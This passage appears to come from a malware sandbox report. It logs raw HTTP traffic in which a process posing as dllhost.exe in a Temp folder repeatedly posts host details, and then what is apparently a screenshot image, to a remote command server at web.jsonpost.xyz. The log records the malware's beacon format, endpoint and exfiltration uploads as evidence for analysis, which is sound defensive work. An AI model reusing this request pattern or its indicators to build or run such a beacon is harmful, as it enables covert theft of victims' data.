Nov 29, 2024 01:53:19.485008955 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 61 64 64 37 37 61 32 33 65 38 35 63 31 63 38 63 34 35 36 66 34 35 32 35 35 37 34 61 66 62 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------5add77a23e85c1c8c456f4525574afb1Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:19.485080957 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:19.485100031 CET	1236	OUT	Data Raw: 04 8f 24 83 c4 62 ea cd d8 14 25 66 5b 7d fb 65 dd 8c 6e c3 2a 9c f5 da 0f 39 35 be ca ac 30 c0 1f a8 a4 f2 d0 f5 55 e3 da af 13 97 42 bd 4f 68 dd 9e 9f 83 b9 9e 13 35 9e 1a 97 b3 4a eb 5f c4 a6 35 4d 32 0d 72 ec 5b 99 4e 97 6d 6e 2e 34 f0 62 7c Data Ascii: $b%f[}en*950UBOh5J_5M2r[Nmn.4b\|]PALX4"{Yv q1]/_2qoS<9)[kV3o5/eEJXP(=#LGt(n Qn`LKr9B(9=L"'&4E\r
Nov 29, 2024 01:53:19.605066061 CET	1236	OUT	Data Raw: ff 00 f8 9a 06 59 a2 ab 7d 96 6f f9 fe b8 ff 00 be 63 ff 00 e2 68 fb 34 df f3 fd 71 ff 00 7c c7 ff 00 c4 d0 05 9a 2a b7 d9 a6 ff 00 9f eb 8f fb e6 3f fe 26 8f b3 4d ff 00 3f d7 1f f7 cc 7f fc 4d 00 59 a2 ab 7d 9a 6f f9 fe b8 ff 00 be 63 ff 00 e2 Data Ascii: Y}och4q\|?&M?MY}och4q\|f?&@{U{&F/2m#@SNUu)){+BFQ@dR@)O4@E1'zCJN
Nov 29, 2024 01:53:19.605119944 CET	4944	OUT	Data Raw: 49 4f 90 c2 28 c1 e3 e5 04 9f ae 6a 0f ed bd 47 fe 7e 7f f1 c5 ff 00 0a f9 f9 f1 26 0e 32 71 4a 4f cd 25 fe 67 da d1 e0 2c d2 a4 14 dc a1 1b f4 6d dd 7a da 2d 7e 27 63 45 71 df db 7a 8f fc fc ff 00 e3 8b fe 14 7f 6d ea 3f f3 f3 ff 00 8e 2f f8 54 Data Ascii: IO(jG~&2qJO%g,mz-~'cEqzm?/TO!g?!;+Mr\0p?[eFF_C];?>q8{8/e(3EQZ1V!c":iSkO?/;?_#&K?
Nov 29, 2024 01:53:19.605210066 CET	2472	OUT	Data Raw: cf 6e 6b a2 cc e7 b9 19 a2 9c 41 1d a9 29 0c 4a 4a 5a 28 01 28 a5 a4 ef 4c 62 1a 29 69 28 01 28 a5 a0 d0 31 29 29 68 a0 62 51 45 14 00 52 52 d0 68 01 b4 52 d1 40 c6 d1 4b 8c d2 53 18 94 52 e2 8a 02 e2 51 4b 45 20 12 8f c2 8a 28 01 29 0d 2d 14 0c Data Ascii: nkA)JJZ((Lb)i((1))hbQERRhR@KSRQKE ()-J(4P0sX5ozX/EWTQEW-(K,$c+8 A=:xg\YdUs$'}?Wu+;(dp4*cThsepG\vW5[
Nov 29, 2024 01:53:19.605221033 CET	2472	OUT	Data Raw: bf d9 a6 ff 00 9f eb 8f fb e6 3f fe 26 8f b3 4d ff 00 3f d7 1f f7 cc 7f fc 4d 00 58 a2 ab fd 9a 6f f9 fe b8 ff 00 be 63 ff 00 e2 69 3e cd 37 fc ff 00 5c 7f df 31 ff 00 f1 34 01 66 8a ad f6 69 bf e7 fa e3 fe f9 8f ff 00 89 a3 ec b3 7f cf f5 c7 fd Data Ascii: ?&M?MXoci>7\14fi@hf?>7\14EV4q\|i4[G?&,U714}och[G?&,W
Nov 29, 2024 01:53:19.605293036 CET	4944	OUT	Data Raw: 90 1c 80 00 c8 5c 9c 8d ce a7 f8 0d 53 b7 d0 f5 ab 3d 02 37 b6 d2 f5 53 7b a8 2b 42 d2 a5 a3 b0 b6 84 1c 48 49 0a 70 ce 41 5f 5d bb bf bc 2a 49 74 eb 59 a4 32 49 18 66 3d cd 57 4d 0e ca 26 2c 88 ca 4f 7c d7 9b 5b 01 56 75 25 25 25 69 6f e8 bf ad Data Ascii: \S=7S{+BHIpA_]*ItY2If=WM&,O\|[Vu%%%ioO^gF(;zAq ks]/\|n%S9vp&qj+r\|v-9ASYmedY_+'TnOtuQ}!\|>5e:o,Mgs[
Nov 29, 2024 01:53:19.605416059 CET	2472	OUT	Data Raw: 6e 6d 1f 5e a7 91 9a e1 a9 e2 29 b8 54 fb 3a ab 7a 68 79 05 26 29 68 af b7 3f 3b 13 14 52 d2 50 01 5e 9b f0 e7 fe 45 fb 9f fa fb 6f fd 01 2b c8 f5 7f f8 f4 5f f7 c7 f2 34 9a 67 86 ef 35 7d 22 ff 00 50 b4 96 dd 85 88 dd 2c 05 8f 9a 57 19 dc 06 30 Data Ascii: nm^)T:zhy&)h?;RP^Eo+_4g5}"P,W0G^\|sJnWjs(o;whV:"^1tW7O>pbC^ytejzdzU399A;S<EGGWUQ
Nov 29, 2024 01:53:19.605475903 CET	2472	OUT	Data Raw: b8 09 45 18 a4 c5 05 0b 9c 53 84 87 bf 23 de 99 45 31 59 0f fd db 75 5c 7b 8a 6f 92 0f dd 7f c0 d2 51 45 90 f5 18 d1 3a f5 14 ca b0 1c 8e f4 a5 c3 7d e5 06 95 87 cc ca d4 54 e6 38 db a1 23 eb 4c 68 1f f8 7e 61 ed 4a c5 29 22 33 48 7a 52 90 47 51 Data Ascii: ES#E1Yu\{oQE:}T8#Lh~aJ)"3HzRGQ9hmE-%%-(4CIKI@bL"NhI@41)RwaG.)MF))!KI4:w1;Sq)bzR(?-'oN)JN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49895	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:20.124274969 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49897	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:20.241677999 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7 Host: web.jsonpost.xyz Content-Length: 98018 Cache-Control: no-cache
Nov 29, 2024 01:53:20.241677999 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 33 37 31 34 34 37 36 31 39 36 62 62 36 31 36 36 39 32 63 36 64 65 64 30 38 65 37 61 61 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------b3714476196bb616692c6ded08e7aac7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:20.241772890 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:20.241796970 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:20.364435911 CET	7416	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:20.364566088 CET	13596	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:53:20.364588976 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:53:20.484663963 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS
Nov 29, 2024 01:53:20.484783888 CET	4944	OUT	Data Raw: 1d 09 af 3b db 62 7f e7 e3 ff 00 c0 bf e0 9e c7 d5 70 7f f3 e9 7f e0 3f f0 0f 2f d4 74 eb 8d 32 ed ad ae 17 0c bd 08 e8 c3 d4 55 4a ed bc 51 02 cd e1 9b 2d 4c 5d 4f 32 ce 63 68 c4 c9 18 2a ae a5 bf 84 75 e9 df 15 c4 d7 d1 e0 71 12 af 4a f3 5a a7 Data Ascii: ;bp?/t2UJQ-L]O2ch*uqJZcs\$0iu((JZ(QE%QEQELQEQEQEJ(@)(QAQECEPIKI%-%;QEQIK@QEE0(%-(0J(J)))i(-%R)
Nov 29, 2024 01:53:20.525902033 CET	28428	OUT	Data Raw: 2b 48 ed 10 48 b1 e9 67 ca b1 67 2e 45 cc 4c 3e 66 c7 45 60 e3 70 e9 f2 b0 1f c2 29 c3 1d 8a 93 b5 ba f6 e9 df fa f5 15 4c b3 03 15 74 f6 5d fa db 6f eb d0 db 86 71 31 41 98 e3 77 79 90 24 ac 54 93 14 65 e4 e0 03 f7 40 03 ea 47 be 11 ae 55 22 66 Data Ascii: +HHgg.EL>fE`p)Lt]oq1Awy$Te@GU"fI#RXws9L,Y @sg9=}+2wuEsEvhDNy!]'#skqotrg5ey#jeITV.%)e`?N
Nov 29, 2024 01:53:20.652564049 CET	12360	OUT	Data Raw: a2 80 0a 28 a2 80 0a 28 a2 80 0a 5e 29 29 79 a0 02 92 96 92 80 16 8a 29 28 01 78 a2 92 8a 04 2d 14 94 50 02 f1 45 25 14 86 14 51 45 00 14 51 45 00 14 51 45 00 14 94 51 4c 02 8a 28 a2 e0 14 51 45 20 0a 28 a2 81 85 25 2d 25 30 0a 28 a2 90 05 21 a5 Data Ascii: ((^))y)(x-PE%QEQEQEQL(QE (%-%0(!4())i((RRS(4(J(4JZJQE%whQ@EwbQEQE1hRQEfasHM%%-%3E%(RQE;3IKM'ibiaZn)(%Qq6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49898	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:21.546031952 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49899	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:21.789654970 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7 Host: web.jsonpost.xyz Content-Length: 98018 Cache-Control: no-cache
Nov 29, 2024 01:53:21.789705038 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 33 37 31 34 34 37 36 31 39 36 62 62 36 31 36 36 39 32 63 36 64 65 64 30 38 65 37 61 61 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------b3714476196bb616692c6ded08e7aac7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:21.789781094 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:21.789805889 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:21.909938097 CET	7416	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:21.910020113 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:53:21.910020113 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:53:21.910202980 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:53:21.910243988 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:53:21.910243988 CET	3708	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:53:22.030021906 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49905	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:22.998848915 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49906	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:23.268933058 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7 Host: web.jsonpost.xyz Content-Length: 98018 Cache-Control: no-cache
Nov 29, 2024 01:53:23.268969059 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 33 37 31 34 34 37 36 31 39 36 62 62 36 31 36 36 39 32 63 36 64 65 64 30 38 65 37 61 61 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------b3714476196bb616692c6ded08e7aac7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:23.269062042 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:23.269144058 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:23.430887938 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:23.430958986 CET	7416	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:53:23.430958986 CET	7416	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:53:23.430984974 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:53:23.663366079 CET	6180	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:53:23.663420916 CET	18540	OUT	Data Raw: 2d 25 14 50 30 34 51 49 40 05 14 51 4c 02 8a 28 a0 62 71 46 28 a2 80 12 82 29 68 a6 03 71 46 29 68 a6 31 31 45 3b 8a 38 a0 06 d2 11 4e a3 14 00 c1 4b 4b 8e d4 62 98 ee 36 8a 75 14 20 1b 45 2e 29 31 40 c2 8a 29 40 27 a0 27 e9 45 d0 c4 a3 15 22 db Data Ascii: -%P04QI@QL(bqF()hqF)h11E;8NKKb6u E.)1@)@''E""3qt)P}9FRub;ZM=aO){T2@jxV?Zv3Eq4`QXv?AR85cEO4KcKFdE0Rij<_j8/M
